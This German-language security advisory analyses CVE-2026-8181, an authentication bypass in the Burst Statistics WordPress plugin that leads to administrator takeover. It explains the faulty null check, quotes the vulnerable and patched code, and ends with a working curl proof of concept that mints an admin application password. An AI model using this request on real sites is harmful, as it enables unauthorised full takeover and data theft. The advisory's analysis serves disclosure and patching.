CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — Authentifizierungsumgehung zur Übernahme des Administrator-Kontos

Zusammenfassung der Schwachstelle

Das WordPress-Plugin Burst Statistics in den Versionen 3.4.0 bis 3.4.1.1 ist anfällig für eine unauthentifizierte Authentifizierungsumgehung, die zur vollständigen Übernahme des Administratorkontos führt. Dieser kritische Fehler erlaubt es einem nicht authentifizierten Angreifer, der einen beliebigen Administrator-Benutzernamen kennt, in einer einzigen HTTP-Anfrage ein gültiges WordPress-Anwendungspasswort für dieses Konto zu erzeugen und damit dauerhaften Admin-Zugriff auf die gesamte Website zu erlangen.

Die Schwachstelle stammt aus der Funktion is_mainwp_authenticated() in class-mainwp-proxy.php. Diese Funktion ruft wp_authenticate_application_password() auf und prüft nur, ob das Ergebnis ein WP_Error ist. Sie verifiziert nicht, ob das Ergebnis tatsächlich ein erfolgreiches WP_User-Objekt ist. Wenn der interne WordPress-Filter application_password_is_api_request den Wert false zurückgibt – was passiert, wenn der Aufruf außerhalb des normalen REST-API-Authentifizierungsablaufs erfolgt – gibt die WordPress-Funktion null statt eines WP_Error oder WP_User zurück. Da null kein WP_Error ist, besteht die Prüfung, und der vom Angreifer gewählte Admin-Benutzer wird über wp_set_current_user() als aktueller Benutzer gesetzt.

Sobald der aktuelle Benutzer auf einen Administrator umgestellt wurde, bestehen nachfolgende Berechtigungsprüfungen. Der Angreifer kann dann den REST-Endpunkt /burst/v1/mainwp-auth erreichen, der ein WordPress-Anwendungspasswort für das Admin-Konto erstellt und es in der Antwort zurückgibt. Dies verschafft dem Angreifer dauerhaften, vollständigen Admin-Zugriff.

Betroffenes Plugin

Feld	Wert
Plugin-Name	Burst Statistics – Privacy-Friendly WordPress Analytics
Plugin-Slug	`burst-statistics`
Betroffene Versionen	3.4.0 – 3.4.1.1
Behobene Version	3.4.2
CVE-ID	CVE-2026-8181
CVSS-Score	9.8 (Kritisch)
CVSS-Vektor	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwachstellentyp	Authentifizierungsumgehung (Unzureichende Authentifizierung)
CWE	CWE-287 – Unzureichende Authentifizierung
Auswirkung	Vollständige Website-Übernahme – Übernahme des Administratorkontos

Was Angreifer tun können

Fähigkeit	Auswirkung
Anwendungspasswort für jeden Admin erzeugen	Dauerhafter Admin-Zugriff
Neue Admin-Konten über die REST-API erstellen	Kontenvermehrung
Plugins / Themes installieren	Remote Code Execution
Beiträge, Seiten und Einstellungen bearbeiten	Website-Verunstaltung
Alle Websitedaten exportieren oder löschen	Datenvernichtung / Datenextfiltration
Zugriff auf WooCommerce-/Kundendaten	Datenpanne

Technische Analyse

Plugin-Initialisierung und das angreifbare Tor

Burst Statistics initialisiert während des WordPress-Hooks plugins_loaded mit Priorität 9 in class-burst.php:

// class-burst.php, line 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() ist der Torwächter für die gesamte Admin-Funktionalität. Es prüft den X-BurstMainWP-Header und ruft die angreifbare Funktion auf:

// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

Die angreifbare Funktion: `is_mainwp_authenticated()`

// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNERABLE: wp_authenticate_application_password() returns null
        // outside the REST API authentication flow
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

Warum `wp_authenticate_application_password()` `null` zurückgibt

Die WordPress-interne Funktion wp_authenticate_application_password() enthält einen Filter:

if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Not an API request, skip app password auth
}

Wird sie außerhalb des REST-API-Authentifizierungsablaufs aufgerufen, gibt sie null zurück. Der Burst-Statistics-Code prüfte nur is_wp_error($is_valid) – null ist kein WP_Error, also besteht die Prüfung fälschlicherweise.

Ausführungspfad zur Admin-Übernahme

Der Angreifer sendet den Header X-BurstMainWP: 1 mit einer beliebigen Anfrage
has_admin_access() löst is_mainwp_authenticated() aus
wp_authenticate_application_password() gibt null zurück (nicht im API-Kontext)
is_wp_error(null) = false → Prüfung bestanden
wp_set_current_user($admin_id) wird ausgeführt
Der aktuelle Benutzer ist nun der gewählte Administrator
Der Angreifer sendet einen POST an /burst/v1/mainwp-auth
handle_auth_request() erzeugt ein WordPress-Anwendungspasswort
Das Token wird als base64(username:app_password) zurückgegeben
Der Angreifer verwendet dieses Token für dauerhaften Admin-REST-API-Zugriff

Patch-Analyse (3.4.2)

// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

Angewandte Korrekturen:

Den Filter application_password_is_api_request auf true erzwingen, damit die tatsächliche Passwortvalidierung stattfindet
Prüfen, ob das Ergebnis eine WP_User-Instanz ist (nicht null)
hash_equals() verwenden, um die Übereinstimmung des Benutzernamens zu verifizieren

Zusätzlich wurde die check_auth_permission() für den REST-Endpunkt gehärtet, sodass current_user_can('manage_burst_statistics') und eine explizite Nonce-Verifizierung für cookie-authentifizierte Anfragen erforderlich sind.

Proof of Concept

Manuelles cURL

# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

CVE-2026-8181

Beliebteste